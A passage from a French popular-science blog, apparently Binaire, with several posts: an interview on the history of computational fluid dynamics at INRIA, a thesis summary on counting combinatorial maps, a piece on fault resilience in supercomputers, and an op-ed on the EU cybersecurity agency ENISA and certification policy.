    Les équations qui régissent l’évolution temporelle de ces systèmes sont dites « équations différentielles » et celles qui tiennent compte aussi des aspects spatiaux sont dites « équations aux dérivées partielles« . Calculer des solutions approchées de ces équations aux dérivées partielles est l’objet de la simulation numérique. Le problème doit être réduit à un nombre raisonnable d’inconnues. Pour cela, on construit un maillage en décomposant l’espace en un assez grand nombre de petits éléments géométriques. Chaque élément porte les valeurs locales des inconnues. L’art du numéricien consiste à établir des relations entre ces inconnues de manière à approcher finement l’équation aux dérivées partielles.
    Lorsque ces méthodes sont appliquées à la simulation d’écoulements de fluides (liquides, gaz, plasmas), on parle de mécanique des fluides numérique.

    Vous avez rejoint l’INRIA au début des années 80. Quelle y était alors la situation du calcul scientifique ?

    En mathématiques appliquées, la culture scientifique était celle des Éléments Finis (EF) et de la Théorie du Contrôle. Sur ces sujets, l’INRIA entretenait un lien très étroit avec l’Université Pierre et Marie Curie (Paris 6) et l’École Polytechnique notamment grâce à l’implication des Professeurs P.G. Ciarlet, R. Glowinski, J.L. Lions et P.A. Raviart. Ce lien est toujours vivace, mais bien d’autres ont été créés depuis, comme en témoigne la diversité thématique d’Inria aujourd’hui.

    Nous allons nous concentrer sur les thématiques de la simulation et aborderons peu ici les thématiques du contrôle qui sont pourtant très importantes, notamment pour leurs applications à la robotique.

    Dans cet environnement, en matière de simulation, le calcul scientifique côté INRIA était porté par trois équipes-projets. L’une développait une bibliothèque de calcul par éléments finis très généraliste, bien que fortement orientée vers la problématique de la mécanique du solide, typiquement le calcul des structures (utilisés par exemple pour construire un pont, un avion…). L’autre développait des méthodes par éléments finis pour la simulation des ondes et les problèmes inverses, notamment en recherche pétrolière. La troisième se focalisait sur la méthodologie numérique, et comportait un volet particulier en mécanique des fluides. Nous sommes des héritiers plus particulièrement de cette équipe, alors dirigée par R. Glowinski qui est associé aujourd’hui à l’Université de Houston.

    En mécanique des fluides, le développement numérique portait sur les équations de la vitesse de ce fluide. Une réalisation particulièrement marquante a été le calcul d’un écoulement aérodynamique tridimensionnel autour d’un avion complet sur un maillage de quelques milliers de points, en collaboration avec Dassault-Aviation:

     Écoulement potentiel autour d’un avion complet en maillage non structuré [1]. Cliquer pour zoomer.

    En calcul scientifique, une estimation des capacités d’un code est fournie par le nombre de points de maillage qu’il permet de traiter en une nuit avec le plus puissant ordinateur disponible. Début 80, grâce au calcul vectoriel (ordinateur Cray), les “gros calculs” sont passés de quelques dizaines de milliers de points à plusieurs millions.

    Quelle était la motivation à poursuivre des recherches en mécanique des fluides numérique et quels étaient les sujets difficiles de l’époque?

    En mécanique des fluides, la méthodologie dominante (notamment utilisée à la NASA ou à l’ONERA en France) était issue de techniques classiques d’approximation des équations continues par des calculs pas à pas, dit aux différences finies (DF). Ces schémas d’approximation sont simples à construire, et se généralisent aisément. Pour des objets courbes, il faut construire au préalable d’un maillage régulier, qui est ensuite déformé.

    On parle de maillage régulier ou structuré quand les sommets des facettes sont organisés de façon structurée (par exemple avec uniquement des parallélépipèdes) et qu’il est donc possible de les stocker et de les traiter avec une matrice. Une règle de construction simple permet alors d’obtenir les positions des sommets et l’organisation des facettes.
    Dans le cas contraire, le maillage a une forme libre, ce qui est plus souple mais plus lourd à manipuler.

    Cette approche se justifiait tant qu’on abordait des problèmes de mécanique des fluides pour des géométries relativement simples. Mais avec l’ambition impérieuse de l’industrie aéronautique de traiter le “problème mythique » de l’avion complet, c’est-à-dire de résoudre les équations de la mécanique des fluides dans le domaine tridimensionnel défini par l’extérieur de la véritable géométrie d’un avion (sa forme), il fallait adopter une autre démarche. Le défi technologique a été de générer d’un maillage non structuré, plus souple, avec moins d’éléments tout en conservant la même précision. Par contre, cette perte de structuration dans le maillage entraine d’avoir à stocker dans l’ordinateur un grand volume d’informations pour connecter des points avec leurs voisins. Au tout début, ce stockage était en butée avec les limites de mémoire des ordinateurs dont nous disposions. Mais la communauté française des mathématiques appliquées avait aussi changé de méthode de calcul: la méthode des éléments finis que nous citions se rattache aux maillages non structurés. Ce travail sur les méthodes numériques en maillages non structurés fut pionnier.

    Simultanément, la communauté internationale cherchait à développer des schémas d’approximation plus sophistiqués pour ces problèmes afin de traiter de manière plus savante les cas où les solutions attachées à ces problèmes devenaient singulières: lors de chocs. Un choc est une discontinuité dans la solution. Par exemple, lorsqu’un avion franchit le « mur du son’’, il crée un saut de pression qui peut gravement endommager le tympan. En régime de croisière d’un avion de transport moderne présente un saut de la pression de l’air, un choc sur la voilure, à la limite. L’optimisation aérodynamique consiste pour une grande part à réduire l’intensité de ce choc. Mais avant d’optimiser, il faut développer la capacité de simuler l’écoulement avec précision, donc à capturer les chocs.
    En cette matière, un schéma dit conservatif permet de calculer avec précision les sauts des grandeurs physiques au travers d’un choc. Cependant, généralement, la solution numérique présente aussi localement des oscillations parasites qu’il convient de maitriser au mieux. Ces questions sont centrales en matière d’équations aux dérivées partielles pour la mécanique des fluides.
    Certains de nos collègues comme Harten et van Leer ont proposé des solutions numériques qui présentent moins d’oscillations parasites. Un défi pour nous était alors de construire de tels schémas dans notre contexte avec les éléments finis et les maillages non structurés. Un autre défi – toujours d’actualité – était de développer des techniques de résolution les plus économiques possibles en mémoire et temps calcul, afin d’aborder efficacement des problèmes de grande taille. Nos efforts ont porté sur la stabilité des schémas de calcul numériques. Nous sommes heureux d’avoir pu  contribuer à étendre ces méthodes et de les partager très largement en enseignant à travers l’Europe, comme à l’Institut Von Karman de mécanique des fluides de Bruxelles.

    Écoulement supersonique autour d’un cylindre; approximation de type volumes finis en maillage non structuré adapté à l’écoulement [2]. A gauche le maillage utilisé vu d’ensemble (en haut) et détaillée (en bas). À droite on représente le flot du fluide. Cliquer pour zoomer.

    Pour illustrer cela, observons grâce à la figure un cas-test dans lequel les équations d’Euler (fluide compressible) ont été résolues en deux dimensions d’espace dans le domaine extérieur à un cylindre. Ces résultats sont tirés d’un atelier international tenu à Rocquencourt en 1985. C’est un écoulement supersonique, à Mach 3, autour d’un cylindre, de gauche à droite. On voit devant le cylindre une ligne de choc au niveau du flot et on voit à gauche que le maillage s’est adapté au mieux au phénomène observé. Derrière le cylindre, la zone triangulaire est de vitesse nulle (on parle d’eau morte), et dans le sillage du cylindre l’écoulement s’accompagne d’autres phénomènes complexes.

    Nos techniques d’approximation en maillage non structuré avaient alors permis, grâce à l’adaptation de maillage par déplacement des nœuds et division des éléments, de mettre en évidence de telles structures physiques avec précision.

    Vous avez donc atteint dans les années 80 une certaine maîtrise des schémas d’approximation de type volumes-finis en maillages non-structurés. Quelles ont été les évolutions dans la décennie suivante?

    La décennie 90 a été marquée par l’extension des méthodes de simulation à des cas de physique des fluides plus complexes, notamment motivés par certains programmes spatiaux européens. Le programme de fusée Ariane a soutenu une activité de recherche dans le domaine de la combustion. Dans certains laboratoires du CNRS, la recherche a porté sur la modélisation physique des phénomènes. À l’INRIA et dans d’autres laboratoires, les méthodes d’approximation ont été étendues pour traiter la cinétique chimique liée à la combustion, et le suivi de solutions instationnaires (propagation de flammes).

    Le projet européen de navette spatiale Hermès a été un formidable moteur pour la recherche et le développement en matière de modélisation physique, d’expérimentation en soufflerie, de modélisation mathématique et de simulation numérique. Il a regroupé une soixantaine de laboratoires travaillant en émulation sur un ensemble de problématiques liées aux défis que soulève la validation du calcul des caractéristiques de vol de rentrée atmosphérique de l’engin. Sans être exhaustif, ni trop détaillé, notons au moins deux types de phénomènes physiques qui ont motivé l’extension des méthodes standards de simulation numérique en mécanique des fluides

    1. l’atmosphère raréfiée à très haute altitude, disons 80 km;
    2. les gaz hors équilibre thermodynamique, avec un point critique à 75 km d’altitude.

    En atmosphère raréfiée, les modèles de mécanique des fluides sont de nature statistique. Cette situation a justifié le développement d’outils de simulation d’évolution d’un gaz hors équilibre (équations de Boltzmann), notamment en utilisant des méthodes aléatoires (simulation par la méthode de Monte-Carlo), ou ne pouvant décrire exhaustivement les éléments, on les sélectionne au hasard et de manière pertinente.

    En pénétrant les premières couches de l’atmosphère lors de la phase de rentrée, l’engin est encore à très grande vitesse (25 fois la vitesse du son, soit 7 km/s). L’intensité du choc en amont du nez arrondi est alors suffisante pour dissocier les molécules d’air et le fluide est le siège d’un phénomène chimique qui absorbe en partie seulement le choc thermique. Pour cette raison, la paroi de l’engin est revêtue de dispositifs de protection spéciaux, dont les fameuses tuiles de la navette spatiale américaine. Plus généralement, le fluide, dans la couche de choc, subit différentes formes de déséquilibre thermodynamique. Dans l’enveloppe de vol de la navette, le point le plus critique vis-à-vis du choc thermique survient à 75 km d’altitude. Dans la simulation, on doit alors compléter les équations de la mécanique des fluides (équations de Navier-Stokes) par d’autres équations aux dérivées partielles dont chacune modélise une variable physique en déséquilibre, et tenir compte de manière complexe du mélange gazeux. Pour “valider” les calculs qui en résultent, il faut confronter les codes numériques entre eux, c’est la “vérification”, et les résultats de codes à ceux d’expériences en soufflerie. Cette validation est particulièrement difficile car en laboratoire, on ne peut reproduire la totalité des conditions du vol réel, et on procède par vérifications croisées de vérification et validation. Pour illustrer cette problématique, on montre ci-dessous un calcul de température autour d’une géométrie de double-ellipse utilisée pour représenter la partie avant de la navette.

    Écoulement hors-équilibre chimique du mélange gazeux autour d’une double-ellipse; à droite un zoom du champ de température [3]. Cliquer pour zoomer.

    Outre les simulations de physique des fluides complexes, on a vu apparaître des simulations couplant plusieurs physiques, chacune associée à un modèle relativement classique. Notons en particulier les simulations de couplage fluide-structure dont voici une illustration :

    Maillage tridimensionnel d’environ 100,000 points utilisé pour le calcul couplé fluide-structure d’un écoulement dans un inverseur de poussée du réacteur d’un avion de ligne. L’axe du réacteur de forme cylindrique se distingue en bas. L’écoulement va de gauche à droite. À droite, son chemin est barré par la cloison verticale. Il est à nouveau dévié vers la gauche par le volet élastique bleu dont on observe la forte déformation. Le but de l’étude était d’analyser la vibration parasite de ce volet. (R. Lardat, B. Koobus, E. Schall, A. Dervieux C. Farhat: Analysis of a possible coupling in a thrust inverter, Revue Européenne des Eléments Finis, 9:6-7,2000). Cliquer pour zoomer.

    De votre point de vue quelles ont été les principales avancées méthodologiques de votre domaine apparues dans les années 2000?

    Les grands programmes spatiaux précédemment cités étaient nés de la volonté des autorités de maintenir la communauté scientifique européenne à un niveau scientifique et technologique compétitif au plan international. Au tournant du siècle cette volonté est devenue moins impérative, et les soutiens à la recherche appliquée ont davantage été trouvés dans le cadre des projets et réseaux de la commission européenne, notamment en aéronautique civile, à nouveau.

    Les innovations méthodologiques les plus marquantes concernent les schémas d’approximation des calculs et les problématiques d’optimisation pour trouver les meilleures solutions approchées.

    Mais c’est aussi l’ouverture de ces méthodes vers des applications hors du champ de la Défense Nationale : notamment en biologie, par exemple dans une  action collaborative entre plusieurs équipes sur la modélisation de l’activité cardiaque (CardioSense). Voici une illustration de la simulation de l’onde électrique dans le cœur.

    Onde électrique dans le cœur, premiers travaux dans le cadre du projet Icema : on modélise la diffusion entre deux domaines avec leur  potentiel électrique, en tenant compte de la structure membranaire permettant les échanges ioniques (Y. Coudière, 2000). Cliquer pour animer.

    Voici maintenant la représentation d’un écoulement visqueux autour d’un profil très effilé. Ce calcul (récent) allie une méthode ancienne dite d’approximation de Galerkin discontinue combinée à une technique de représentation par des petites portions de courbes.

     
    Écoulement autour d’un profil d’aile par la résolution des équations de la mécanique des des fluides (R. Duvigneau, 2017). Cliquer pour zoomer.

    Ces progrès réalisés, quelles sont les tendances actuelles dans vos domaines de recherche ?

    Tout d’abord, on observe une prise en compte de plus en plus systématique des incertitudes et de l’utilisation du hasard dans plusieurs types d’approche, pour résoudre les équations avec des approximations qui utilisent des tirages aléatoires.

    Par ailleurs, on note également le haut degré de sophistication atteint aujourd’hui par les générateurs de maillages, et les logiciels d’adaptation. On note aussi dans ce domaine des progrès notoires dans l’étude de phénomènes avec des ruptures ou des changements rapides. Pour illustrer ce dernier point voici une animation montrant l’évolution d’un maillage tridimensionnel modélisant une zone urbaine dans laquelle se produit une détonation.

    Maillage évolutif suivant une onde de détonation en milieu urbain (F. Alauzet, 2017). Cliquer pour animer.

    Voici maintenant une illustration des progrès réalisés en matière d’approximation, y compris dans ces cas instationnaires, et du volume de calcul que l’on peut traiter sur nos architectures. Il s’agit d’un problème classique de résolution d’instabilité atmosphérique (dit de Kelvin-Helmholtz). Les équations de la mécanique des fluides sont résolues avec 4 millions de degrés de liberté sur une architecture machine à 256 cœurs. Le schéma d’approximation dont on a besoin est sophistiqué et le calcul dure 3 jours.

    Calcul d’une instabilité de Kelvin-Helmholtz (R. Duvigneau, 2017). Cliquer pour animer.

    Notons également l’implication d’une vaste communauté interdisciplinaire (physiciens et mathématiciens) dans le grand projet international ITER pour mettre au point un équipement mettant en oeuvre une fusion nucléaire. Au niveau du calcul, il s’agit de résoudre des équations de magnéto-hydro-dynamique, qui combinent plusieurs domaines de la physique. Voici une illustration de cette activité et les moyens informatiques développés actuellement. En haut les travaux de M. Becoulet. En bas les travaux de M. Futanami.

    Résolution des équations de magnéto-hydro-dynamique, dans le cadre du Projet ITER (B. Nkonga, 2016). Le flux magnétique, le courant, le tourbillon, le potentiel électrique, la vitesse parallèle, la densité, et la température sont prises en compte. Le plasma est en rotation dans le Tokamak (illustration du haut). Ce plasma est notamment contrôlé par un dispositif situé en bas de l’anneau (illustration du bas).

    Il est remarquable que la communauté aborde aujourd’hui des champs nouveaux en dehors des applications plus classiques à la physique ou à l’ingénierie. La modélisation mathématique et la simulation numérique du trafic routier ou piétonnier qui s’y rattache en offrent un exemple assez proche de la mécanique des fluides. Citons ici les travaux de P. Goatin. On illustre ci-dessous une simulation d’évacuation de salle par deux issues dont la première est rapidement congestionnée. L’objectif à terme de ce type de simulation est de mieux concevoir la salle afin d’une évacuation plus rapide en cas d’alerte.

     
    Simulation de l’évacuation d’une salle en cas d’alerte. Cliquer pour animer (P.Goatin, 2013). Vue aérienne. Les personnes sont initialement massées à proximité du mur à gauche. Lorsque l’alerte est donnée, elles se dirigent vers l’issue la plus proche, qui, assez vite, se congestionne. Une partie du groupe se dirige alors vers l’issue de droite.

    Enfin, notons que les travaux initiés en 2000 sur la modélisation de la circulation sanguine cités précédemment ont pris de l’ampleur, comme en témoigne la figure ci-dessous qui illustre la montée en puissance du calcul (1 s de temps physique exige 500 000 pas de temps de simulation, soit 83 mn de temps calcul sur 24 cœurs du Mésocentre Régional Aquitaine, MCIA, en 2014), et la sophistication du modèle physico-numérique actuel (potentiel de membrane sur les ventricules, modèle géométrique du patient, hypothèses de structure des tissus; calcul: intégrateurs exponentiels pour la réaction).

     
    Simulation de l’activité cardiaque dans le cadre du Projet CardioSense [4]. Cliquer pour animer.

    Après de tels succès, comment imaginez-vous les futurs progrès de votre discipline ?

    Oui il y a eu des succès, grâce à beaucoup de travail et de trouvailles par les chercheur.e·s, et en même temps, on aurait bien aimé aller beaucoup plus vite !

    Aujourd’hui nous avons conscience d’un certain nombre de défis vitaux pour l’humanité, dans les domaines de l’évolution de la planète (la préserverons nous ?), dans le domaine de la santé (les progrès de la médecine sont-ils pour tous ?), et de l’énergie (comment la décarboner ?). Les numéricien·ne·s ont un rôle important à jouer pour relever ces défis, mais cela implique de pouvoir transmettre leurs mathématiques et leurs algorithmes vers les sciences de la terre, la biologie, la médecine, etc.

    On prévoit un plus grand impact de la modélisation de notre environnement et une exigence accrue en matière de sécurité des systèmes et d’environnement pour une régulation plus efficace des processus industriels et la conformité des produits à la réglementation, notamment en matière de contrôle de la pollution.

    Aujourd’hui les plus gros calculs en termes de volumes d’opérations sont conduits par les grands industriels, souvent de l’industrie du transport ou de la défense. Le principe général est de décomposer le calcul global en blocs indépendants a priori plus simples à résoudre, de calculer chacun d’entre eux (éventuellement de façon parallèle), puis de fusionner l’ensemble. Les calculs moins volumineux mais complexes sont le plus souvent exécutés par des sociétés de service.

    La sophistication de nos méthodes va s’accélérer, avec plus de mathématiques (précision, algorithmes de résolution, adaptation de maillage, identification, optimisation), la prise en compte de plus de lois physiques, couplant des phénomènes divers, la prise en compte des aléas.

    Il faudra aussi que la programmation sur les futures architectures d’ordinateurs soit efficace, mais en proposant des outils pour lesquels les mécanismes trop complexes à guider (le maillage, le parallélisme, notamment) seront transparents pour l’ingénieur utilisateur ou des non-spécialistes: pourquoi-pas ne pas envisager des travaux de science participative impliquant des citoyen·ne·s ?

    Jean-Antoine Désidéri & Alain Dervieux.

    [1] M.O. Bristeau, 0. Pironneau, R. Glowinski, J. Périaux, P. Perrier, and G. Poirier: On the numerical solution of nonlinear problems in fluid dynamics by least squares and finite element methods (II). Application to transonic flow simulations, Computer Methods in Applied Mechanics and Engineering 51, 1985

    [2] A. Dervieux, J.-A. Désidéri, F. Fezoui, B. Palmerio, J.P. Rosenblum, B. Stoufflet: Euler calculations by upwind Finite Element Methods and adaptive mesh algorithm, GAMM Workshop on the Numerical Simulation of Compressible Euler Flows, Rocquencourt (F), June 10-13 1986, Notes in Numerical Fluid Dynamics 26, Vieweg , Braunshweig-Wiesbaden

    [3] M.V. Salvetti, M.C. Ciccoli and J.-A. Désidéri: Non-equilibrium external flows including wall-catalysis effects by adaptive upwind finite elements, Russian Physics Journal, 36:4, 1993

    [4] S. Labarthe, J. Bayer, Y. Coudière, J. Henry, H. Cochet, P. Jaıs and E. Vigmond: A bilayer model of human atria: mathematical background, construction, and assessment, Europace 16:4, The Oxford University Press, 2014

    Notes:

    La notion de stabilité. Les solutions produites par simulation numérique résultent de la somme de deux composantes. La première, dite composante convergente, approche la solution exacte des équations aussi précisément que nécessaire par raffinement du maillage, quitte à augmenter le coût du calcul. La seconde est dite composante parasite. Lorsque le schéma d’approximation est « stable’’, la composante parasite reste à un niveau faible, intimement lié à la précision arithmétique des opérations élémentaires sur l’ordinateur. À l’inverse, si le schéma est instable, la composante parasite s’amplifie exponentiellement dans le déroulé de l’algorithme jusqu’à noyer complètement le résultat. Il est donc impérieux en analyse numérique d’établir de manière fiable les propriétés de stabilité des schémas d’approximation.

  • Les comptes du Petit Prince

    Crédit photo: via le site internet personnel de Wenjie Fang
    Lauréat d’un accessit au prix SIF Gilles Kahn, Wenjie Fang a travaillé pendant sa thèse sur le dénombrement des cartes combinatoires au laboratoire IRIF de l’Université Paris 7. Ses travaux, très théoriques, peuvent servir aux effets spéciaux des jeux vidéos, ou bien à savoir comment cartographier le célèbre astéroïde B612. Charlotte Truchet

    Supposons que le petit prince, qui vit sur l’astéroïde B 612, veut tracer quelques chemins sur sa planète pour mieux se déplacer, surtout vers sa rose, mais aussi vers les endroits fréquentés par les baobabs qu’il doit arracher. Disons qu’il doit connecter 8 endroits par 11 chemins, et sans que les chemins ne se croisent. De combien de façons le petit prince peut-il connecter son réseau, sans tenir compte de petites variations sur la forme des chemins ?

    C’est la question à laquelle j’ai répondu pendant ma thèse, et ça s’appelle : compter des cartes combinatoires.

    Supposons que le petit prince a construit son réseau, et on doit en faire un plan. Comment s’y prendre ? Comme l’astéroïde est très petit, on peut oublier la longueur des chemins, et seulement regarder comment ils connectent les points d’intérêt. Mais ce n’est pas suffisant. Pour un point donné, par exemple la rose, il existerait plusieurs chemins qui y mènent. Pour naviguer, il faut aussi savoir comment les chemins sont reliés à chaque point. Si on arrive à la rose par un certain chemin, quel sont les chemins immédiatement à sa gauche et à sa droite ? C’est tout ce dont on a besoin.

    By Arnaud Malon from Paris, France [CC BY 2.0], via Wikimedia Commons
    Une carte combinatoire est une combinaison de ces informations : des points, des chemins, et la façon dont les chemins sont reliés à chaque point (lequel est à gauche/droite duquel). Avec ces informations, on sait parfaitement comment le réseau se connecte. Chaque carte indique alors une façon unique de construire le réseau, et notre problème initial revient à compter les cartes, étant donné le nombre de points et de chemins.

    Pendant ma thèse, l’un de mes travaux était de compter une famille de cartes appelée « cartes biparties ». Avec mon directeur, j’ai compté ces cartes en contrôlant beaucoup de choses, sur la planète du petit prince, mais aussi sur des planètes mal fichues, par exemple avec des trous, comme un doughnut (1 trou) ou un bretzel (3 trous).

    Peut-être vous demandez-vous : pourquoi les cartes nous intéressent ?

    Bien sûr, la notion de carte ne vient pas du néant. L’histoire des cartes date des années soixante, à partir d’un effort du mathématicien canadien W.T. Tutte pour étudier la fameuse conjecture des quatre couleurs. Il n’arriva pas à prouver le théorème, la preuve fut obtenue des années plus tard, en 1976, à l’aide de l’ordinateur. Néanmoins, Tutte nous laissa un héritage sur cette question : comment compter les cartes en cassant les grandes cartes en morceaux, qui sont des cartes contenant moins de chemins.

    Des chemins sur un bretzel
    Copyright: Wenjie Fang

    Ensuite vinrent les physiciens, qui voulaient étudier les collisions de particules. Ce n’est pas facile; il faut calculer des intégrales bizarres. Les physiciens, très malins, inventèrent une façon de réduire ces intégrales au comptage des « gros graphes », qui sont en fait des cartes sur des planètes comme on les a définies.

    Les cartes sont utiles pour d’autres applications. Par exemple, si on prend une carte aussi dense qu’une toile d’araignée sur la planète du petit prince, alors la carte toute seule nous permet de reconstruire à peu près le terrain. Autrement dit, une carte donne une approximation d’une surface. C’est pourquoi on utilise les cartes pour encoder des objets, dans la fabrication des effets numériques pour des jeux de vidéo et des films. Pour améliorer l’encodage, il est nécessaire de compter les cartes associées.

    Compter les choses, ça sert !

    Wenjie Fang

     

  • Résilience

    Les besoins croissants en calculs font que les informaticiens mettent au point des machines de plus en plus puissantes – les plus grandes d’entre elles étant baptisées super-ordinateurs – en augmentant le nombre et la puissance de leurs composants. Séduisante sur le papier, cette idée d’augmenter les performance en multipliant les ressources matérielles souffre malheureusement de plusieurs défauts dont les pannes. Aurélien Cavelan a soutenu une thèse à l’Université de Lyon, opérée par l’École Normale Supérieure de Lyon et préparée au Laboratoire de l’Informatique du Parallélisme et au centre Inria Grenoble Rhônes-Alpes (équipe ROMA), sous la direction de Anne Benoit et Yves Robert sur le sujet de la résistance aux pannes, on parle alors de résilience des ordinateurs. Pascal Guitton

    Photo de l'auteur Aurélien CavelanDes dizaines de milliers de processeurs dans un ordinateur ? Ces « super-ordinateurs » sont indispensables aujourd’hui dans beaucoup de domaines notamment scientifiques : simuler la naissance de l’univers, chercher de nouveaux vaccins, prévoir la météo, ce ne sont pas les applications qui manquent. Seulement voilà : il se trouve que ces monstres de calculs ne brillent pas vraiment par leur capacité à rester en marche …

    L’attaque des clones

    C’est un phénomène bien connu : la probabilité qu’un système tombe en panne est tout simplement la probabilité qu’un de ses composants tombe en panne … multipliée par le nombre total de composants dans le système. Pour faire simple, imaginez que votre ordinateur ne tombe en panne qu’une fois tous les 100 ans en moyenne (soyons très optimiste !). Si vous décidez d’en acheter 100 identiques pour construire votre propre super-ordinateur, alors celui-ci tombera en panne une fois par an en moyenne. Avec la même logique, si vous décidez d’en acheter 365 * 100, alors il subira une panne tous les jours en moyenne ! C’est par exemple, le cas de Titan par exemple, le numéro 5 mondial en termes de puissance de calcul, avec ses 36000 processeurs et cartes graphiques. En 2010, Jaguar, alors le plus puissant super-ordinateur (qui deviendra plus tard Titan), enregistrait 350 erreurs … par minute !

    Une solution pour récupérer de pannes est de sauvegarder périodiquement les données de l’application. On évite ainsi d’avoir à redémarrer depuis le début si l’exécution est interrompue, surtout quand on sait que certaines simulations nécessitent plusieurs jours, voire plusieurs semaines de calculs !

    Malheureusement, ces systèmes doivent aussi faire face à un autre problème, beaucoup plus sournois …

    Image du super ordinateur Titan

    La menace fantôme

    Ce sont les erreurs silencieuses. On ne les voit pas directement, mais on peut en observer les effets, lorsqu’une application a soudain un comportement étrange ou produit des résultats erronés. La cause principale ? Des rayons cosmiques, ou plus précisément des particules chargées en énergie qui traversent notre atmosphère et qui, de temps en temps, interagissent avec la mémoire des composants électroniques. Il arrive alors qu’un bit (la plus petite unité d’information utilisée dans un ordinateur) passe de la valeur « 1 » à la valeur « 0 » (ou vice versa), modifiant ainsi le contenu de la mémoire à cet endroit.

    En fait, ces super-ordinateurs sont devenus tellement imposants au fil des années qu’ils agissent aujourd’hui comme de véritables détecteurs de particules ! Depuis quelques années, des codes de détection d’erreurs sont utilisés dans les différentes composants matériels (CPU, GPU, RAM, bus, réseau…) pour détecter et corriger ces erreurs avant qu’elles ne puissent faire des dégâts. Cependant, il arrive que certaines d’entre elles échappent quand même à ces contrôles assez simples, remettant alors en cause l’exactitude des résultats obtenus.

    Dans ma thèse, je parle de résilience : c’est la capacité à récupérer rapidement de pannes ou d’erreurs. Comme le temps d’utilisation de ces grands ordinateurs est précieux, on cherche à maximiser l’utilisation du système et à minimiser le temps d’exécution des applications.

    Pour atteindre cet objectif, je propose des modèles qui me permettent d’estimer le temps d’exécution d’une application en fonction du nombre d’erreurs et de pannes. Plus précisément, un modèle décrit l’ensemble des paramètres à prendre en compte (nombre d’erreurs sur la machine, nombre de processeurs, quantité d’opérations que l’application doit effectuer, temps de sauvegarde de l’application …) ainsi que l’ensemble des règles qui régissent ses paramètres (souvent, des formules assez compliquées …).

    Grâce ces modèles, il est possible de déterminer la solution optimale pour une application : quel type de détecteur utiliser pour les erreurs, ou bien quelle période de sauvegarde optimale : trop courte, on perd trop de temps à sauvegarder les données de l’application vs trop longue et on perd trop de temps à cause des pannes.

    Aurélien Cavelan, Université de Bale
    @razlock

     

     

  • Plus silencieux que la grande muette

    Après avoir présenté la certification de systèmes informatiques à l’occasion d’un article de binaire et l’émergence de débats sur le fait que les états doivent ou pas déléguer certaines de leurs prérogatives dans la sécurité numérique. Binaire a reçu le point de vue de deux collègues à propos d’un des acteurs de ces questions : l’ENISA. L’agence européenne de sécurité des réseaux est une agence de cybersécurité, qui est au centre de ce débat.
    Pierre Paradinas

    L’agence européenne de sécurité des réseaux ne craint plus sa disparition

    https://www.enisa.europa.euOn a presque oublié son existence :  l’Union Européenne dispose d’une agence de cybersécurité, l’ENISA. On ne l’a jamais beaucoup entendue mais ce n’est pas sa faute : son rôle opérationnel a été limité dès sa naissance, par la volonté des grands Etats membres qui voyaient d’un mauvais œil une incursion européenne dans leur sécurité nationale.

    C’est aussi la raison pour laquelle l’ENISA a été la seule agence européenne avec un mandat non permanent, à l’issue duquel son existence était chaque fois remise en question. Elle était de ce fait incapable de se projeter dans le futur et de développer une vision.

    Son mandat actuel se termine en 2020 (il a commencé en 2013 : ces 7 ans de mandat sont le maximum jamais attribué à cette agence) mais en septembre la Commission a proposé une nouvelle stratégie pour la cybersécurité qui fait la part belle à cette agence. Son budget annuel doublerait : de 11,2 à 23 millions € et son personnel passerait de 84 à 125. L’agence aurait aussi un rôle opérationnel pour coordonner la réaction des Etats membres en cas de cyber-attaque.

    L’ENISA va aussi être un acteur clé pour la cyber-certification. Si on veut considérer la sécurité dès la conception du produit (on parle alors de « security by design »), la certification est nécessaire mais chaque état membre, s’il s’en préoccupe, le fait à sa sauce.  Il y a bien la norme ISO 15408 qui sert de socle à un accord international (le Common Criteria Recognition Arrangement ou CCRA) de reconnaissance mutuelle mais seuls 13 Etats membres  l’ont signé et seuls deux niveaux de certifications sur sept sont reconnus mutuellement. Avoir une certification propre à chaque état membre est évidemment insupportable pour la Commission qui y voit une entrave au marché unique. Chaque Etat membre doit mettre en place une autorité chargée d’accréditer des organes qui peuvent délivrer les certificats. Ainsi c’est l’ENISA qui serait chargée de préparer le contenu de ces certifications en coopération avec un groupe d’experts constitué des autorités d’accréditation. À moins d’être obligatoire via une autre législation de l’Union, la certification resterait volontaire. En gardant un caractère volontaire à la certification, la Commission veille à ne pas imposer cette lourdeur aux services ou produits peu critiques et dont le prix augmenterait de ce fait. S’il y a une certification européenne en place, les Etats membres ne pourront plus avoir une certification nationale propre. Un fabricant pourra aller chez l’organe d’accréditation de son choix.

    La directive « cybersécurité  » avait déjà revu à la hausse le champ de responsabilité de l’ENISA en la transformant en cheville ouvrière pour son implémentation et son suivi. C’était une bonne raison de transformer l’ENISA en agence permanente.

    Dans sa proposition de régulation qui fixe le contour de l’ENISA, nouvelle formule, cette dernière aura les compétences suivantes :

    • Développer une politique cohérente européenne de sécurité de l’information et dans d’autres secteurs sensibles (énergie, transport, finance) et dans les domaines de l’identité électronique et des services de confiance;

    • Améliorer de la capacité de réponse de l’Union Européenne et de ses Etats membres en cas d’attaque (1);

    • Conseiller le nouveau centre de recherche en cybersécurité : le European Cybersecurity Research and Competence Centre qui verra le jour en 2018;

    • Faciliter la coopération entre les Etats membres volontaires (on imagine de fait que peu de grands Etats le feront), en analysant en cas d’incident des informations reçues des Etats membres pendant leur déroulement.

    Justifier un rôle pour l’ENISA

    La Commission justifie une action au niveau de l’Union Européenne via le test de subsidiarité, qui doit prouver qu’une action au niveau européen ne peut qu’être plus efficace comparée au niveau national. Ce qui, quand on parle de sécurité est une une gageure, les arguments devront être solides pour résister aux grands Etats membres qui ont, c’est vrai, entériné lors d’un conseil européen la nécessité pour l’Europe de se doter d’une cyber-stratégie.

    Pour la Commission, les réseaux, les systèmes d’information, les infrastructures critiques sont toutes interconnectées au niveau européen. Aucun pays ne peut plus gérer seul un cyber-incident qui se propagera automatiquement à tous ses voisins de surcroit. Vu ainsi, il ne s’agit pas comme le prétendent d’aucuns d’un transfert de compétences qui privent les Etats membres de leur capacité d’analyse [1]. Accepter une coordination de l’Europe, c’est faire un premier pas vers l’Europe de la défense qui nous a tellement manqué. La France, qui est le plus crédible des Etats membres en la matière, peut montrer la voie.


    Charles Cuvelliez, École Polytechnique de Bruxelles (ULB), Jean-Jacques Quisquater, École Polytechnique de Louvain, UCL

    Pour en savoir plus:

    Review of ENISA Regulation and laying down a EU ICT security certification and labelling, European Commission, July 7, 2017

    Proposal for a REGULATION OF THE EUROPEAN PARLIAMENT AND OF THE COUNCIL on ENISA, the « EU Cybersecurity Agency », and repealing Regulation (EU) 526/2013, and on Information and Communication Technology cybersecurity certification ( »Cybersecurity Act »), Brussels, 13.09.2017

    [1] Les Etats ne doivent pas déléguer leur sécurité numérique  Nicolas Arpagian / directeur scientifique du cycle Sécurité Numérique à l’INHESJ, Les Echos du 30.11.2017

